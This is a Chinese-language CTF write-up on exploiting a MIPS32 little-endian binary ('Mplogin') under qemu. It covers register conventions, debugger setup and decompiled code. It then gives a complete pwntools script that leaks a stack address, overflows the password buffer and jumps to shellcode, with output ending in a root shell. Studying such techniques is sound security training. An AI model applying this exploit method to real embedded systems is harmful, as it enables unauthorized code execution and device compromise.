『CTF』异构 Pwn 之 Mips32

| 编号    | 寄存器名称 | 描述                                                      | :------ | :--------- | :----------------------------------------------------- | $0      | $zero      | 第0号寄存器，其值始终为0。                                 | $1      | $at        | 保留寄存器                                               | $2-$3   | $v0-$v1    | values，保存表达式或函数返回结果                            | $4-$7   | $a0-$a3    | argument，作为函数的前四个参数                             | $8-$15  | $t0-$t7    | temporaries，供汇编程序使用的临时寄存器                | $16-$23 | $s0-$s7    | saved values，子函数使用时需先保存原寄存器的值         | $24-$25 | $t8-$t9    | temporaries，供汇编程序使用的临时寄存器，补充$t0-$t7。 | $26-$27 | $k0-$k1    | 保留，中断处理函数使用                                 | $28     | $gp        | global pointer，全局指针                               | $29     | $sp        | stack pointer，堆栈指针，指向堆栈的栈顶                | $30     | $fp        | frame pointer，保存栈指针                              | $31     | $ra        | return address，返回地址                    

    Arch:     mips-32-little    RELRO:    No RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x400000)    RWX:      Has RWX segments
ELF Header:  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00   Class:                             ELF32  Data:                              2's complement, little endian  Version:                           1 (current)  OS/ABI:                            UNIX - System V  ABI Version:                       0  Type:                              EXEC (Executable file)  Machine:                           MIPS R3000  Version:                           0x1  Entry point address:               0x400640  Start of program headers:          52 (bytes into file)  Start of section headers:          4248 (bytes into file)  Flags:                             0x50001007, noreorder, pic, cpic, o32, mips32  Size of this header:               52 (bytes)  Size of program headers:           32 (bytes)  Number of program headers:         9  Size of section headers:           40 (bytes)  Number of section headers:         26  Section header string table index: 25

sudo apt install linux-libc-dev-mips-cross libc6-mips-cross libc6-dev-mips-cross binutils-mips-linux-gnu大端sudo apt install gcc-mips-linux-gnu g++-mips-linux-gnu小端sudo apt install gcc-mipsel-linux-gnu g++-mipsel-linux-gnu
安装qemuhttps://blog.csdn.net/weixin_38227420/article/details/88402738

qemu-mipsel  -L ./  ./Mplogin 
|>19:06:46<|(^ω^)$qemu-mipsel  -L ./  ./Mplogin -----we1c0me t0 MP l0g1n s7stem-----Username : 

qemu-mipsel  -g 12345 -L  ./  ./Mplogin 
gdb-multiarchset architecture mips                     设置架构set endian little                             设置大小段symbol-file ./mplogin/Mplogin     导入调试文件的符号表target remote 127.0.0.1:12345       连接远程调试

内容set architecture mipsset endian littlesymbol-file ./Mplogintarget remote 127.0.0.1:12345

新版的gdb从安全角度进行了一些限制，默认./.gdbinit不会加载，如果需要禁止这个安全功能，可以修改~/.gdbinit，添加set auto-load safe-path /。如果只是想加载某个目录下的.gdbinit，可以在~/.gdbinit下添加add-auto-load-safe-path /home/linux/project/Demo/linux/gdb/.gdbinit。当 GDB（即 GNU Project Debugger）启动时，它在当前用户的主目录中寻找一个名为 .gdbinit的文件；如果该文件存在，则 GDB 就执行该文件中的所有命令。

int __cdecl main(int argc, const char **argv, const char **envp){  int v3; // $a2  int v5; // [sp+18h] [+18h]
  setbuf(stdin, 0, envp);  setbuf(stdout, 0, v3);  printf("x1B[33m");  puts("-----we1c0me t0 MP l0g1n s7stem-----");  v5 = username();  password(v5);  printf("x1B[32m");  return puts("Now you getshell~");}

int sub_400840(){  char v1[24]; // [sp+18h] [+18h] BYREF
  memset(v1, 0, sizeof(v1));  printf("x1B[34m");  printf("Username : ");  read(0, v1, 24);  if ( strncmp(v1, "admin", 5) )    exit(0);  printf("Correct name : %s", v1);  return strlen(v1);}

int __fastcall sub_400978(int a1){  char v2[20]; // [sp+18h] [+18h] BYREF  int v3; // [sp+2Ch] [+2Ch]  char v4[36]; // [sp+3Ch] [+3Ch] BYREF
  v3 = userlen + 4;   // 28  printf("x1B[31m");  printf("Pre_Password : ");  read(0, v2, 36);   //v2 48  printf("Password : ");       read(0, v4, v3);    //v3 34    v4 24  if ( strncmp(v2, "access", 6) || strncmp(v4, "0123456789", 10) )    exit(0);  return puts("Correct password : **********");}

sa("Username :",'adminaaaaaaaaaaaaaaaaaaa')ru('aaaaaaaaaaaaaaaaaaa')

sa("Username :",'adminaaaaaaaaaaaaaaaaaaaaaaa')ru('aaaaaaaaaaaaaaaaaaa')leak = u32(r(4))log.success(hex(leak))

int __fastcall password(int userlen){  char buf[20]; // [sp+18h] [+18h] BYREF  int length; // [sp+2Ch] [+2Ch]  char v4[36]; // [sp+3Ch] [+3Ch] BYREF
  length = userlen + 4;  printf("x1B[31m");  printf("Pre_Password : ");  read(0, buf, 36);   printf("Password : ");  read(0, v4, length);  if ( strncmp(buf, "access", 6) || strncmp(v4, "0123456789", 10) )    exit(0);  return puts("Correct password : **********");}

sa("Username :",'adminaaaaaaaaaaaaaaaaaaax00') 

payload  = "access" + 14*'a' + p32(0x200)s(payload)

pwndbg> cyclic -l aaia 30

sa("Password : ","0123456789" + 'a'* 30 +p32(leak)+asm(shellcraft.sh()))

*V0   0xfab V1   0x1 A0   0x76fff0d4 ◂— '//bin/sh' A1   0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu   $zero, $zero, 0x1a1 /* 0x6873; 'sh' */ A2   0x76fff0cc ◂— 0 A3   0x0 T0   0x76ffef50 ◂— 0 T1   0x6873 T2   0x0 T3   0x0 T4   0x767e604c ◂— 0 T5   0x1 T6   0xfffffff T7   0x400567 ◂— 'strlen' T8   0x18 T9   0xfffffffb S0   0x76806010 ◂— 0 S1   0x4005d8 (_init) ◂— lui    $gp, 2 /* 0x3c1c0002 */ S2   0x0 S3   0x0 S4   0x0 S5   0x0 S6   0x0 S7   0x0 S8   0x61616161 ('aaaa') FP   0x0 SP   0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu   $zero, $zero, 0x1a1 /* 0x6873; 'sh' */*PC   0x76fff150 ◂— syscall 0x40404 /* 0x101010c */─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────   0x76fff13c    add    $a1, $sp, $a1   0x76fff140    sw     $a1, -4($sp)   0x76fff144    addi   $sp, $sp, -4   0x76fff148    add    $a1, $sp, $zero   0x76fff14c    ori    $v0, $zero, 0xfab ► 0x76fff150    syscall 0x40404 <SYS_execve>        path: 0x76fff0d4 ◂— '//bin/sh'        argv: 0x76fff0c0 —▸ 0x76fff0c8 ◂— 0x6873 /* 'sh' */        envp: 0x76fff0cc ◂— 0x0   0x76fff154    movz   $zero, $zero, $zero   0x76fff158    nop       0x76fff15c    sll    $v0, $zero, 0   0x76fff160    jalx   0x7a018040   0x76fff164    jalx   0x79f9c000──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────00:0000│ a1 sp 0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu   $zero, $zero, 0x1a1 /* 0x6873; 'sh' */01:0004│       0x76fff0c4 ◂— 002:0008│       0x76fff0c8 ◂— tltu   $zero, $zero, 0x1a1 /* 0x6873; 'sh' */03:000c│ a2    0x76fff0cc ◂— 004:0010│       0x76fff0d0 ◂— 005:0014│ a0    0x76fff0d4 ◂— '//bin/sh'06:0018│       0x76fff0d8 ◂— 'n/sh'07:001c│       0x76fff0dc ◂— 0────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────── ► f 0 0x76fff150

# -*- coding: UTF-8 -*-import sysfrom pwn import *
context(arch='mips',endian='little',log_level='debug')
# context.log_level = 'debug'
shell = lambda : p.interactive()s = lambda buf: p.send(buf)ss = lambda buf: p.send(str(buf))sl = lambda buf: p.sendline(buf)ssl = lambda buf: sl(str(buf))sa = lambda delim, buf: p.sendafter(delim, buf)ssa = lambda delim, buf: sa(delim, str(buf))sla = lambda delim, buf: p.sendlineafter(delim, buf)
r = lambda n: p.recv(n)ra = lambda t=tube.forever:p.recvall(t)ru = lambda delim, drop=False: p.recvuntil(delim, drop)rl = lambda: p.recvline()e4 = lambda logg : log.success(logg)
def gdb_attach():    os.system('gnome-terminal -x sh -c "gdb-multiarch -ex 'b * 0x0400AE4   '"')

if sys.argv[1] == 'p':     p = process(["qemu-mipsel","-L","./","./Mplogin"])    sleep(1)else:    p = process(["qemu-mipsel","-g","12345","-L","./","./Mplogin"])     gdb_attach()

elf = ELF('./Mplogin')libc = ELF('./lib/libc.so.0')# shellcode = "xffxffx06x28xffxffxd0x04xffxffx05x28x01x10xe4x27x0fxf0x84x24xabx0fx02x24x0cx01x01x01/bin/sh"


sa("Username :","adminaaaaaaaaaaaaaaaaaaa")ru('aaaaaaaaaaaaaaaaaaa')leak = u32(r(4))e4(hex(leak))
# ru("Pre_Password : ")# payload  = "access"payload  = "access" + 14*'a' + p32(0x200)s(payload)sla("Password : ","0123456789" + 'a'* 30 +p32(leak)+asm(shellcraft.sh()))
shell()
[*] Switching to interactive mode[DEBUG] Received 0x29 bytes:    'Password : Correct password : **********n'Password : Correct password : **********$ id[DEBUG] Sent 0x3 bytes:    'idn'[DEBUG] Received 0x27 bytes:    'uid=0(root) gid=0(root) groups=0(root)n'uid=0(root) gid=0(root) groups=0(root)